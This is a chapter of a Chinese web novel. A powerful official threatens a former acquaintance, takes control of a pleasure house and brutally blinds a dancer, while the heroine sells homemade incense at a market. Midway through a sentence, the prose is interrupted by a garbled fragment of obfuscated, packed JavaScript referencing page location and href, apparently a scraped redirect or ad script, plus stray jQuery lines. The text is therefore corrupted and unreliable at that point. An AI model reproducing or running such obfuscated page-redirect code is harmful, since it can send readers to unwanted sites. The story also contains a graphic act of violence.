19. “你喜欢我?”

他赤手空拳,但仔细看去就会发现,他的手上戴着一双银色的手套,连刀锋都没有割破半分。


段竟握紧小刀往前一扯,身后的人被扯得跌在地上。


“啊!”那人摔在地上,叫苦不迭,捂着脸尖叫。


段竟高高在上,盯着这个“顾小姐”,没说话。


“段竟!你竟然敢这么对我!”顾银朱大吵大闹,恶狠狠骂道:“果然是你!骁骑参领果然是你——!”


啪地一声,小刀被段竟仍在地上,他拍了拍衣服,“表小姐,是你,你要见我,有什么事?”


顾银朱这段时间过得不太好,尽管她从前就只能算半个顾家的人,顾家出事也侥幸逃过一劫,失去了本家的资助,她如今再也不能像过去一样生活。


“段竟……你太过分了,你现在怎么变成这样了……”顾银朱仰头,她看见如今的段竟,一时间忘记自己此行目的了。


段竟如今穿着达官贵人都喜欢的蜀锦,金银线在光影下若影若现,勾勒出藤蔓纹路,衬得男人周身气质更冷峻矜贵。


顾银朱心中那颗已经半死不活的心又悄然醒了,她咬唇说:“我不是像其他人一样来质问你的,我只是想……想见你了。”


段竟像是看见了什么脏东西,从前的惊惧变成了不屑,“想见我?表小姐,顾家出事,我有一半功劳,你说你是像来杀我的,更可信吧?”


他望了眼地上的小刀。


顾银朱赶紧抓着小刀塞进刀鞘,犹豫着说:“段竟,我实在是没办法了才来找你的,我爹说……说要不到钱就让我不要回去了,你帮帮我吧……”


顾银朱巴巴地看着段竟腰间挂着的金丝佩,抬头说:“但是我不会,我只想要见见你。”


她拧着自己的衣角:“我爹以为我和你有什么不一般的、的交情,但其实我知道,你很不容易,你有自己的苦衷对不对?”


段竟垂眼,思忖了一会儿,蹲下来看着顾银朱,“你喜欢我?”


他轻轻皱着眉,看见顾银朱脸一红不敢再说话的时候,唇角扯出一个笑容,“闭上眼睛。”


顾银朱一喜,闭眼期待着想象中的事情到来,她就知道段竟对她是不一样的!


“段竟……你最近变化好大,我都快要不认识了,但是没关系,以后我们还有很多时间……啊!”顾银朱刚一睁眼,就退后了些,吓得小脸煞白。


段竟手里拿着一把锋利的剑,似乎在比划怎么做更省力。顾银朱盯着段竟的眼睛,没有错过其中的一丝轻蔑,他是真的动了杀意。


顾银朱哆嗦着逃出去,将门撞得乒乓响。


段竟缓缓擦干净了剑,又去问了些百莺阁的相关事宜,起初百莺阁的掌柜还不明白,回答得磕磕绊绊。


“额……本月的舞女人数都在这,因为每次的人员都不一样,有时候还会临时招募……另外,还有些不方便……”掌柜知道这个新贵的身份,是毓王身边的大人物。


是的,外人不清楚,掌柜的很清楚,百莺阁实际上是毓王的囊中之物,百莺阁


最后,段竟掏出一块令牌,低声说:“从今以后,百莺阁由我来负责,你重新说一遍,昨夜的舞女都有些什么人?”


掌柜的站直了说:“大人!小的李束,参见大人!昨夜的舞女是咱们百莺阁的花魁小姐……今早已经请了仵作……”


说到花魁,李束唉声叹气,忍不住哭了起来,“你说这人好好的怎么就死了……还有好些客官要招她……”


“我说的是舞女,不是花魁。”段竟不耐地敲了敲桌子,又补了句:“是那些舞女。”


李束擦了擦汗:“舞、舞女,这个就不清楚了,大人饶命啊!舞女早就没有固定的名单了……”


百莺阁的管理只达上层,到了舞女基本上就没有具体管理了,李束只能跪下认错。


段竟余光扫过门口的小摊贩,又问:“城内每天都有摆摊的?”


李束一愣,悄悄打量段竟的脸色,这个骁骑大人性子倒是和他想得不太一样,这说话还挺温和的啊……


“啊对,每日都有摆摊的,不过也没有统计过有哪些人……”李束生怕段竟还要问人数和名单。


男人靠在门边,思忖片刻:“传下去,我今夜要看跳舞,找齐昨夜的舞女,只要能讨我欢心,银钱翻倍。”


*


顾饮檀刚准备把明日的货物装进篮子里,就听见追月喜滋滋的声音:“姑、姐姐……我刚刚听说百莺阁在招揽昨夜的舞女!”


顾饮檀顿了顿,想到昨夜的不好回忆,语气淡然:“我不去。”


追月摇头:“如果今夜去,银钱翻倍呢!当然不是要你去,我身上的伤好了很多,我去!”


顾饮檀突然发出一声爆笑:“昨夜的舞女有没有登记名单,你这么高兴,肯定多了想去的,现在早就没位置了吧?”


追月一愣,后知后觉红了脸,她一听见翻倍银钱就头脑一热,“也是……还是姑娘聪明。”


“都说了,不要叫我姑娘了。”顾饮檀低声说,把衣服一件一件叠好,“闲着没事干?快点来帮我。”


追月眨了眨眼睛,抹了抹泪水坐过去,“姐姐……”


顾饮檀笑了下,她突然想起顾家那些人,曾经那些叫她“姑姑”的人,有多少是真心的?


“姐姐,如果有一天要离开京城,你有想去的地方吗?”


外面的月色渐渐浓郁,窗边结了一层薄薄的霜,顾饮檀盯着月亮,“今天的月亮可真圆呐,听说南方有座城,叫唐古城,月亮很圆。”


不过这是顾饮檀很小的时候在书上读到的,不知道这么多年还在不在。


她抬头看着外面,“反正以后一身轻松,总有机会去的。”


*


当夜,百莺阁。


昏暗的灯光下,舞女们一个个身着靓丽,莺歌燕舞在男人身边,舞女身上的丝带堪堪触碰到他的衣角,更有甚者轻轻抚弄男人的肩头。


段竟坐着没动,闻着萦绕在鼻尖的脂粉香,眼皮轻阖上。


舞女们见状一喜,胆大者直接轻佻地想要坐在男人腿上。


段竟这才睁开眼睛,直接站了起来,舞女摔在地上。


段竟不大高兴地看着地上这人,从面纱上一双眼睛看进去,他一双骨节分明的手握着桌上的银筷,挑下舞女的面纱,露出一张魅惑的脸。


“做什么?”段竟漠然问。


舞女有些委屈,语气矫揉造作:“大人怎么如此不解风情?”


段竟勾唇一笑:“你是因为翻倍银钱才来的,还是因为本官来的?”


舞女脸一红,娇羞说:“当然是为了大人而来,奴家只想要大人。”


舞女仰着头,一副面前这男人就是天的表情,男人突然弯下腰来,阴影笼罩着她。


“大人……”舞女羞得不敢说话。


参领大人长得比女子还好看呢,盯着人的瞧的时


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15074265|162831||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


候简直要溺死人了。


舞女以为段竟要抱她起来,满腔的喜悦快要溢出心口,结果下一刻,男人手里的筷子夹着她的头发,生生将人扯起来。


“啊!”舞女疼得花容失色,还没来得及说话,段竟另一只手握着一只筷子,直接插进她的眼眶。


周围的舞女纷纷吓得大叫起来,看着这个像是阎罗的男人。


段竟松开手,任由舞女在地上捧着血肉模糊的脸大哭,他则是拍了拍一尘不染的手站起来。


“还有谁是为了本官来的?”段竟环视一圈在场的。


良久,没人说话,段竟勾唇说:“既然没有,那就跳舞吧。”


*


京城中的地大多是豪绅的,想要进货必须交钱才能过路,更不用说进了城还需要交摊位费。


顾饮檀当即放弃住在京城里,搬家到了临近京城的郊外,每日天还没亮搭最早的车进城,等在市场外面卖货。


但是这条路行不通,因为利润并不多,每日还要给官府交钱,顾饮檀亏了不少。


黑灯瞎火的,华婶坐在窗边,纯白的线在指尖交错。


“交钱?我有法子!我知道城内有一个小市场,虽然人不比西市东市多,但不用交钱。”


“您刚刚说哪个市场不用交钱?快给我说说!”


“城里有一个市场,叫末村集市,只有一些老人才知道,别的人我都不告诉她。”华婶笑着说。


顾饮檀讨好地点了根蜡烛坐过去,撅了撅嘴说:“那也看你说的值不值。”


华婶说的末村集市就在京城临近郊外的一块小地儿,地方不大,但是人不少,都是生活窘迫的百姓,其中来往交易的人不少。


顾饮檀走在其中,找了个不起眼的位置卖货,她卖的是自己做的香料。


这年头,民间不限制香料,但香料一向都是很贵的东西,用的人不多。


但顾饮檀从自己从前用的某种百合香为基底,加了几种廉价香草做成了干料。


味道很香,盖子一揭开就吸引力不少人前来。


顾饮檀包装,追月平时闲了就来帮忙吆喝。


“怎么卖的?这看起来还不错,这地方竟然会有香料卖。”一个姑娘停在了摊位前。


顾饮檀介绍道:“这是我们家祖传的秘方,可以安神助眠,平时买一点回去很不错。”


姑娘倾身闻了闻,突然皱眉,又闻了闻。


顾饮檀不由得有的担心,看了看自己的香料,正觉得奇怪之时,这姑娘说:“你身上这香是从哪儿来的?闻起来比这香料还好闻。”


顾饮檀心一震,赶紧捂着领口后退,迟钝地说:“是吗?我身上哪儿有什么香……”


姑娘又靠近了点,见顾饮檀担忧的神色,笑了下说:“老板,你这胆子也忒小了,算了,给我称三斤吧。”


追月称重的动作一顿:“三、三斤!?”


来来往往买香料的人不少,但还是第一次听说有人要买三斤的,追月紧张地看了眼摊位。


“我们今天已经卖了不少了,现在加起来总共也没有三斤,这香料不占重量,你买一点儿就够用了。”顾饮檀耐着性子说。


姑娘嘴一撅,从兜里拿出一张纸条给顾饮檀,“我改主意了,我要十斤,今日不行,明日总可以了吧,明日我来找你要香料,记得给我。”


顾饮檀盯着那张纸条上写着“文府文宁雀”,她手一抖,抬眼紧盯着面前这人。